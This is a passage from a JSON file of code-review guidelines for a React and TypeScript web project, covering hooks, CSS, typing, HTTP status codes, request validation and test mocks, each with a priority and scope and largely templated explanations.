you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compute a hook's inputs outside it and pass them as dependencies","rule":"Resolve values like ids outside a custom hook and pass them in as dependencies rather than fetching them inside the hook.","apiRule":"Resolve values like ids outside a custom hook and pass them in as dependencies rather than fetching them inside the hook. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Gitignore generated build artifacts and untrack committed ones","rule":"Add generated files like *.tsbuildinfo to .gitignore, and git rm --cached anything already committed.","apiRule":"Add generated files like *.tsbuildinfo to .gitignore, and git rm --cached anything already committed. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Round pixel values and avoid decimals in CSS","rule":"Use whole-number pixel dimensions instead of stray decimals to keep sizing consistent across the codebase.","apiRule":"Use whole-number pixel dimensions instead of stray decimals to keep sizing consistent across the codebase. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Drive repeated UI from a config array instead of duplicated JSX","rule":"Define lists of similar elements as data in a config file and map over them rather than hand-writing each repeated block.","apiRule":"Define lists of similar elements as data in a config file and map over them rather than hand-writing each repeated block. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Validate resource existence early and return 404 for missing routes","rule":"Check whether a requested resource exists in getServerSideProps/handler before running component logic, and return a real 404 instead of 200 with a null body.","apiRule":"Check whether a requested resource exists in getServerSideProps/handler before running component logic, and return a real 404 instead of 200 with a null body. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Avoid redundant state updates in error handlers","rule":"Reset error/flag state with a single direct set instead of redundant conditional or wrapping logic.","apiRule":"Reset error/flag state with a single direct set instead of redundant conditional or wrapping logic. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Hide scrollbars with cross-browser CSS","rule":"When hiding a scrollbar, include the Firefox-specific declaration (or a shared mixin) so it works in every browser.","apiRule":"When hiding a scrollbar, include the Firefox-specific declaration (or a shared mixin) so it works in every browser. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Place feature-specific files in feature-scoped subfolders","rule":"Group a feature's hooks, interfaces, and utilities under a feature-named subfolder rather than dumping them in the generic root of each directory.","apiRule":"Group a feature's hooks, interfaces, and utilities under a feature-named subfolder rather than dumping them in the generic root of each directory. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Set fallback values to the documented default rather than undefined","rule":"When a value has a defined default (e.g. null), assign that default in just-in-case branches instead of leaking undefined.","apiRule":"When a value has a defined default (e.g. null), assign that default in just-in-case branches instead of leaking undefined. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a falsy check for empty strings instead of explicit comparison","rule":"An empty string is already falsy, so guard with the value directly rather than comparing against ''.","apiRule":"An empty string is already falsy, so guard with the value directly rather than comparing against ''. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard server-only service methods against client-side execution","rule":"Methods that use server secrets (API keys) should detect a browser environment and refuse to run, signalling the misuse clearly.","apiRule":"Methods that use server secrets (API keys) should detect a browser environment and refuse to run, signalling the misuse clearly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name a boolean argument with a constant instead of passing a bare true","rule":"A bare true/false at a call site hides the parameter's meaning; assign it to a self-describing constant first.","apiRule":"A bare true/false at a call site hides the parameter's meaning; assign it to a self-describing constant first. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Follow one function-declaration style consistently across similar exports","rule":"Match the established declaration style (e.g. arrow functions for all SVG/component exports) so similar modules look uniform.","apiRule":"Match the established declaration style (e.g. arrow functions for all SVG/component exports) so similar modules look uniform. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Fire analytics events at the point the action is committed","rule":"Decide whether you are tracking a click or a saved/submitted change, and place the analytics call accordingly (in the submit handler for persisted changes).","apiRule":"Decide whether you are tracking a click or a saved/submitted change, and place the analytics call accordingly (in the submit handler for persisted changes). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Base Cache-Control on the backend's actual caching, not copy-paste","rule":"When adding cache headers to an endpoint, verify how long the upstream/backend caches that resource (or ask the PM) instead of copying values from an unrelated endpoint.","apiRule":"When adding cache headers to an endpoint, verify how long the upstream/backend caches that resource (or ask the PM) instead of copying values from an unrelated endpoint. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not silently transform values the backend owns","rule":"Do not coerce backend data (e.g. forcing a negative number positive) without an agreed contract; the backend owns data validity, so confirm before altering it.","apiRule":"Do not coerce backend data (e.g. forcing a negative number positive) without an agreed contract; the backend owns data validity, so confirm before altering it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name icons and symbols after the design source of truth","rule":"Name icon components and assets exactly as they appear in the design system (e.g. Figma) so they map predictably.","apiRule":"Name icon components and assets exactly as they appear in the design system (e.g. Figma) so they map predictably. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Retry a flaky operation once before treating it as a real error","rule":"For operations that intermittently fail on the first attempt, retry once and only surface an error if the retry also fails.","apiRule":"For operations that intermittently fail on the first attempt, retry once and only surface an error if the retry also fails. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Separate the auth/session token from other request params","rule":"Handle the authorization token (e.g. session cookie) distinctly from generic query/body params rather than bundling it in.","apiRule":"Handle the authorization token (e.g. session cookie) distinctly from generic query/body params rather than bundling it in. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Use import.meta.dirname instead of recomputing the directory in ESM","rule":"In ESM, get the current directory via import.meta.dirname rather than deriving it from import.meta.url manually.","apiRule":"In ESM, get the current directory via import.meta.dirname rather than deriving it from import.meta.url manually. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Cascade env-file lookup or fail loudly with an explanatory error","rule":"When loading env config, try a sensible cascade of files and, if a required one is missing, throw a clear error explaining what is expected.","apiRule":"When loading env config, try a sensible cascade of files and, if a required one is missing, throw a clear error explaining what is expected. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Compute paired conditional values once via array destructuring","rule":"When two related values switch together on one condition, derive them in a single ternary with array destructuring instead of repeating the condition.","apiRule":"When two related values switch together on one condition, derive them in a single ternary with array destructuring instead of repeating the condition. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Import shared constants directly rather than passing them as props","rule":"When a value is a static importable constant, import it where it is used instead of threading it through props.","apiRule":"When a value is a static importable constant, import it where it is used instead of threading it through props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Give every component a typed props interface and index barrel","rule":"Each component should declare a typed props interface (no implicit any), use it on React.FC, and ship an index.ts barrel where the project convention requires it.","apiRule":"Each component should declare a typed props interface (no implicit any), use it on React.FC, and ship an index.ts barrel where the project convention requires it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Keep a component's prop interface aligned with its actual props","rule":"Ensure the declared props interface matches the props the component actually destructures and uses.","apiRule":"Ensure the declared props interface matches the props the component actually destructures and uses. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use the ch unit for character-based width limits","rule":"Cap text width by character count with the CSS ch unit instead of approximating with pixels.","apiRule":"Cap text width by character count with the CSS ch unit instead of approximating with pixels. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set colors via color props and a colors token object, not CSS classes","rule":"Apply text and stroke colors through the component's color prop using values from the shared colors object rather than ad hoc classNames or literals.","apiRule":"Apply text and stroke colors through the component's color prop using values from the shared colors object rather than ad hoc classNames or literals. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Reserve switch for enums or typed unions, not arbitrary strings","rule":"Use switch on enums or string-literal unions; for an open-ended string with one dominant default, prefer simpler branching.","apiRule":"Use switch on enums or string-literal unions; for an open-ended string with one dominant default, prefer simpler branching. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use switch fall-through for cases sharing identical logic","rule":"Group switch cases that produce the same result via fall-through instead of duplicating the body.","apiRule":"Group switch cases that produce the same result via fall-through instead of duplicating the body. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use 401 for authentication/authorization failures","rule":"Return 401 when a request fails because the user is not authenticated, not a generic error status.","apiRule":"Return 401 when a request fails because the user is not authenticated, not a generic error status. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Branch create vs edit modes explicitly instead of patching props","rule":"When a dialog serves both create and edit, pass different inputs per mode (e.g. no existing items for create) rather than working around shared props.","apiRule":"When a dialog serves both create and edit, pass different inputs per mode (e.g. no existing items for create) rather than working around shared props. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Centralize fetch-and-reset logic in a context to avoid refetch-on-open","rule":"Move data fetching and state into a context so opening/closing UI reads existing state instead of refetching and resetting on every open.","apiRule":"Move data fetching and state into a context so opening/closing UI reads existing state instead of refetching and resetting on every open. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use kebab-case for HTML element ids","rule":"Follow the kebab-case convention for DOM element id attributes.","apiRule":"Follow the kebab-case convention for DOM element id attributes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use null for 'not yet loaded' and empty array for 'loaded but empty'","rule":"Reset collection state to null to mean not-yet-fetched and reserve [] for a fetched-but-empty result, so loading and empty UI states can be told apart.","apiRule":"Reset collection state to null to mean not-yet-fetched and reserve [] for a fetched-but-empty result, so loading and empty UI states can be told apart. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Model mutually-exclusive states as an enum, not parallel booleans","rule":"When a value can be one of several exclusive states, expose a single enum so consumers don't recombine booleans into logic; keep enums logic-free.","apiRule":"When a value can be one of several exclusive states, expose a single enum so consumers don't recombine booleans into logic; keep enums logic-free. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Comment out code you'll soon need rather than deleting it","rule":"If a feature (e.g. a time filter) is temporarily out of MVP scope but planned, comment it out with a note instead of removing it so it isn't lost.","apiRule":"If a feature (e.g. a time filter) is temporarily out of MVP scope but planned, comment it out with a note instead of removing it so it isn't lost. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Abstract IntersectionObserver logic into a reusable visibility hook","rule":"Extract element-in-view detection into a hook like useElementIsVisible that returns a boolean, instead of repeating IntersectionObserver wiring inside feature hooks.","apiRule":"Extract element-in-view detection into a hook like useElementIsVisible that returns a boolean, instead of repeating IntersectionObserver wiring inside feature hooks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Model overlapping roles as separate flags, not one mutually-exclusive level","rule":"When a higher role implies a lower one (admin is also registered), branching with else-if on a single access level hides the overlap; track independent flags (isAdmin, isRegistered) so checks for the base role still pass.","apiRule":"When a higher role implies a lower one (admin is also registered), branching with else-if on a single access level hides the overlap; track independent flags (isAdmin, isRegistered) so checks for the base role still pass. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make optional callbacks safe with a default or optional call","rule":"When a callback prop is optional, either default it to a no-op or invoke it with optional chaining (callback?.()) so callers aren't forced to pass an empty function.","apiRule":"When a callback prop is optional, either default it to a no-op or invoke it with optional chaining (callback?.()) so callers aren't forced to pass an empty function. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return early in a guard branch instead of falling through to a reset","rule":"When a condition short-circuits the work, return inside that branch so trailing reset logic (e.g. setting a flag false) doesn't run unintentionally.","apiRule":"When a condition short-circuits the work, return inside that branch so trailing reset logic (e.g. setting a flag false) doesn't run unintentionally. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make the PR template descriptive with a pre-merge checklist","rule":"Replace one-word headings with explicit questions (what/why/how/testing) and add a 'remember to check' list (tests pass, description written, shared functions tested) so reviewers can reject incomplete PRs fast.","apiRule":"Replace one-word headings with explicit questions (what/why/how/testing) and add a 'remember to check' list (tests pass, description written, shared functions tested) so reviewers can reject incomplete PRs fast. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Create a dedicated type for an endpoint-specific response","rule":"Rather than reusing a broad domain type full of optional fields, define a focused interface (e.g. TopCategoriesResponse) for a response that has its own shape.","apiRule":"Rather than reusing a broad domain type full of optional fields, define a focused interface (e.g. TopCategoriesResponse) for a response that has its own shape. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Place reusable components in the shared folder, page-specific ones in views","rule":"Only put a component in the shared components/ directory if it is used in several places; components used by a single page belong under that page's views folder.","apiRule":"Only put a component in the shared components/ directory if it is used in several places; components used by a single page belong under that page's views folder. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Group a long destructured list by purpose for readability","rule":"When pulling many values out of a context or object, group them (state vs setters, or by feature) instead of one undifferentiated wall of names.","apiRule":"When pulling many values out of a context or object, group them (state vs setters, or by feature) instead of one undifferentiated wall of names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't call setState in an effect cleanup function","rule":"Setting state in a useEffect cleanup causes redundant re-renders or infinite loops; remove the cleanup if there is nothing to actually clean up (or handle an abort signal instead).","apiRule":"Setting state in a useEffect cleanup causes redundant re-renders or infinite loops; remove the cleanup if there is nothing to actually clean up (or handle an abort signal instead). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Depend on the specific field an effect reads, not the whole object","rule":"If an effect only uses query.threadId, put query.threadId in the dependency array, not the entire query object, so unrelated query changes don't re-fire it.","apiRule":"If an effect only uses query.threadId, put query.threadId in the dependency array, not the entire query object, so unrelated query changes don't re-fire it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name functions, hooks, and types by what they actually do","rule":"Pick names that describe behaviour (e.g. useFrontpageData, fetchParameters) rather than vague or misleading words; keep casing of a concept consistent across the codebase.","apiRule":"Pick names that describe behaviour (e.g. useFrontpageData, fetchParameters) rather than vague or misleading words; keep casing of a concept consistent across the codebase. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep fetch helpers pure and move state setters into the calling hook","rule":"A reusable fetch function should return data (or null on error) rather than reaching into context and calling setState; let the hook/component that calls it own the state and error handling.","apiRule":"A reusable fetch function should return data (or null on error) rather than reaching into context and calling setState; let the hook/component that calls it own the state and error handling. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Drop mobile/desktop styles from a component that only renders at one breakpoint","rule":"When a separate component already handles the other breakpoint, remove the unused isMobile branches and breakpoint media queries from this one instead of leaving dead responsive code.","apiRule":"When a separate component already handles the other breakpoint, remove the unused isMobile branches and breakpoint media queries from this one instead of leaving dead responsive code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do related cleanup in the same PR that touches the code","rule":"When you've already modified a method or area, fold the small follow-up/cleanup into the same change instead of deferring it to a separate task.","apiRule":"When you've already modified a method or area, fold the small follow-up/cleanup into the same change instead of deferring it to a separate task. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't include mock properties the code under test never reads","rule":"Only set fields in a test mock that the tested code actually uses; extra properties (e.g. a `status` no branch depends on) mislead readers into thinking they matter.","apiRule":"Only set fields in a test mock that the tested code actually uses; extra properties (e.g. a `status` no branch depends on) mislead readers into thinking they matter. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't spread an array into a new one when you can return it unchanged","rule":"If you aren't mutating the array, return it directly instead of creating a needless `[...arr]` copy (and if you do copy, comment why).","apiRule":"If you aren't mutating the array, return it directly instead of creating a needless `[...arr]` copy (and if you do copy, comment why). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use Math.min/Math.max to clamp values instead of a ternary","rule":"Replace `x > limit ? limit : x` style clamping with `Math.min(limit, x)` (or `Math.max`) for clarity.","apiRule":"Replace `x > limit ? limit : x` style clamping with `Math.min(limit, x)` (or `Math.max`) for clarity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Update only the changed item instead of recomputing the whole collection","rule":"When changing one element of an array in a state update, copy and splice that single index rather than mapping every item and computing values you only need for one.","apiRule":"When changing one element of an array in a state update, copy and splice that single index rather than mapping every item and computing values you only need for one. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Collapse mutually exclusive className conditions into one expression","rule":"For a binary either/or class choice, use a single ternary instead of two separate object-syntax `cx` conditions.","apiRule":"For a binary either/or class choice, use a single ternary instead of two separate object-syntax `cx` conditions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't use a mixin that injects styles you don't want","rule":"Prefer plain declarations over a convenience mixin when the mixin sets extra properties (e.g. align-items/justify-content) the element doesn't need.","apiRule":"Prefer plain declarations over a convenience mixin when the mixin sets extra properties (e.g. align-items/justify-content) the element doesn't need. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard JSON.parse of request bodies against missing or malformed input","rule":"Don't assume `req.body` exists and is valid JSON; validate it (and the types of extracted fields) before parsing and passing values downstream.","apiRule":"Don't assume `req.body` exists and is valid JSON; validate it (and the types of extracted fields) before parsing and passing values downstream. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Match interface field types to the actual API payload","rule":"Confirm the runtime type a third-party API returns (e.g. an id may arrive as a string, not a number) before declaring the field, and convert explicitly when you need a different type.","apiRule":"Confirm the runtime type a third-party API returns (e.g. an id may arrive as a string, not a number) before declaring the field, and convert explicitly when you need a different type. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't type a request as having a field that isn't populated yet","rule":"Typing a handler's `req` as carrying an enriched field (e.g. `userId`) before any middleware has set it lies about the runtime shape; only widen the type after the value is actually attached.","apiRule":"Typing a handler's `req` as carrying an enriched field (e.g. `userId`) before any middleware has set it lies about the runtime shape; only widen the type after the value is actually attached. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Enforce types in the signature, don't rely on callers' good will","rule":"An implementation should not depend on a caller always passing a string/number; type the parameter precisely so TypeScript guarantees it rather than assuming runtime values.","apiRule":"An implementation should not depend on a caller always passing a string/number; type the parameter precisely so TypeScript guarantees it rather than assuming runtime values. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Keep each test mock narrow and single-purpose","rule":"Avoid one mega-mock with many flags handling unrelated scenarios; split it into focused mocks and only require the inputs each test actually uses.","apiRule":"Avoid one mega-mock with many flags handling unrelated scenarios; split it into focused mocks and only require the inputs each test actually uses. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't create a wrapper function that only forwards to another","rule":"A function that just calls another with the same arguments and no extra logic adds indirection without value; call the underlying method 